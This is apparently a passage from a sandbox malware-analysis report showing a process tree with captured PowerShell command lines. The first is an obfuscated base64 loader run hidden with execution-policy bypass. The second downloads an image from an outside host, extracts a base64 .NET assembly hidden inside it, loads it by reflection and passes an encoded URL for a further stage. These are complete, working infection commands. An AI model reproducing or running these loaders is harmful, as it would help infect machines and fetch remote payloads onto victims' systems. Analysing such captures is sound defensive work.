ÇtIxOLOpkZWWhnlykqB6ÇtIxOLOpkZWWhnlykqHÇtIxOLOpkZWWhnlykqÇtIxOLOpkZWWhnlykqdwBkÇtIxOLOpkZWWhnlykqEgÇtIxOLOpkZWWhnlykqUgBvÇtIxOLOpkZWWhnlykqCcÇtIxOLOpkZWWhnlykqIÇtIxOLOpkZWWhnlykqÇtIxOLOpkZWWhnlykqsÇtIxOLOpkZWWhnlykqCÇtIxOLOpkZWWhnlykqÇtIxOLOpkZWWhnlykqJwBkÇtIxOLOpkZWWhnlykqGYÇtIxOLOpkZWWhnlykqZÇtIxOLOpkZWWhnlykqBmÇtIxOLOpkZWWhnlykqGQÇtIxOLOpkZWWhnlykqJwÇtIxOLOpkZWWhnlykqgÇtIxOLOpkZWWhnlykqCwÇtIxOLOpkZWWhnlykqIÇtIxOLOpkZWWhnlykqÇtIxOLOpkZWWhnlykqnÇtIxOLOpkZWWhnlykqGQÇtIxOLOpkZWWhnlykqZgBkÇtIxOLOpkZWWhnlykqGYÇtIxOLOpkZWWhnlykqJwÇtIxOLOpkZWWhnlykqgÇtIxOLOpkZWWhnlykqCwÇtIxOLOpkZWWhnlykqIÇtIxOLOpkZWWhnlykqÇtIxOLOpkZWWhnlykqnÇtIxOLOpkZWWhnlykqGQÇtIxOLOpkZWWhnlykqZgBkÇtIxOLOpkZWWhnlykqGYÇtIxOLOpkZWWhnlykqJwÇtIxOLOpkZWWhnlykqgÇtIxOLOpkZWWhnlykqCwÇtIxOLOpkZWWhnlykqIÇtIxOLOpkZWWhnlykqÇtIxOLOpkZWWhnlykqnÇtIxOLOpkZWWhnlykqGQÇtIxOLOpkZWWhnlykqYQBkÇtIxOLOpkZWWhnlykqHMÇtIxOLOpkZWWhnlykqYQÇtIxOLOpkZWWhnlykqnÇtIxOLOpkZWWhnlykqCÇtIxOLOpkZWWhnlykqÇtIxOLOpkZWWhnlykqLÇtIxOLOpkZWWhnlykqÇtIxOLOpkZWWhnlykqgÇtIxOLOpkZWWhnlykqCcÇtIxOLOpkZWWhnlykqZÇtIxOLOpkZWWhnlykqBlÇtIxOLOpkZWWhnlykqCcÇtIxOLOpkZWWhnlykqIÇtIxOLOpkZWWhnlykqÇtIxOLOpkZWWhnlykqsÇtIxOLOpkZWWhnlykqCÇtIxOLOpkZWWhnlykqÇtIxOLOpkZWWhnlykqJwBjÇtIxOLOpkZWWhnlykqHUÇtIxOLOpkZWWhnlykqJwÇtIxOLOpkZWWhnlykqpÇtIxOLOpkZWWhnlykqCkÇtIxOLOpkZWWhnlykq';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('ÇtIxOLOpkZWWhnlykq','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"

      2636
      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4072801.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmhoaGhoaGhodG5ldmVzLzA4LjczLjQ1Mi41ODEvLzpwdHRo' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"

        2776

Process contents

No process loaded Click on a process in the tree above to load its data.